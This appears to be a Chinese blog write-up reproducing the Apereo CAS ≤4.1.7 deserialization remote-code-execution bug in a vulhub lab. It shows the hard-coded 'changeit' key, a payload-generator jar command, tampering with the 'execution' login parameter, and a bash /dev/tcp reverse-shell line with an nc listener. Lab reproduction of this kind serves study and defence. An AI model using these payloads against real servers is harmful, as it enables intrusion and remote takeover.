Apereo-cas4.1 反序列化 Rce漏洞复现

0x00 前言

--学如逆水行舟,不进则退

0x01 漏洞简介

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令

0x02 影响版本

 Apereo CAS <= 4.1.7

0x03 漏洞原理

Webflow中使用了默认密钥changeit,如下

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

0x04 环境搭建

这里我们使用vulhub靶场搭建

cd /vulhub-master/apero-cas/4.1-rce     //进去漏洞目录下

docker-compose up -d        //启动漏洞环境

启动之后,访问ip:8080/cas/login ,出现一下页面,说明搭建成功

0x05 漏洞复现 

这里我们需要使用到一个工具,用来生成paylaod

下载地址为:

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

 下载好之后,我们来使用以下命令生成payload(也就是我们要执行的命令)

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir qwe"

 生成好payload之后,在ip:8080/cas/login页面抓包,如下图 

抓包之后,发送到repeater模块中,进行修改数据包 

注意:::我们要把包中execution参数改为我们刚才生成的payload,如下图

发包之后,在docker容器中查看命令是否执行成功

docker ps    ///查看docker容器id

docker exec -it 容器id bash 

 

 发现我们之前创建文件夹的命令执行成功了

开始反弹shell

反弹shell之前需要先将反弹shell命令进行base64编码,编码网址为:

java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)https://www.jackson-t.ca/runtime-exec-payloads.html

 /bin/bash -i > /dev/tcp/xxx.xxx.xxx.xxx/1122 0<&1 2>&1

 编码好之后,使用上面成功payload的工具再次生成payload

 同样进行抓包,把execution参数改为反弹shell的payload,同时nc监听,如下图

反弹shell成功

 0x06 漏洞修复

升级至最新版本

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值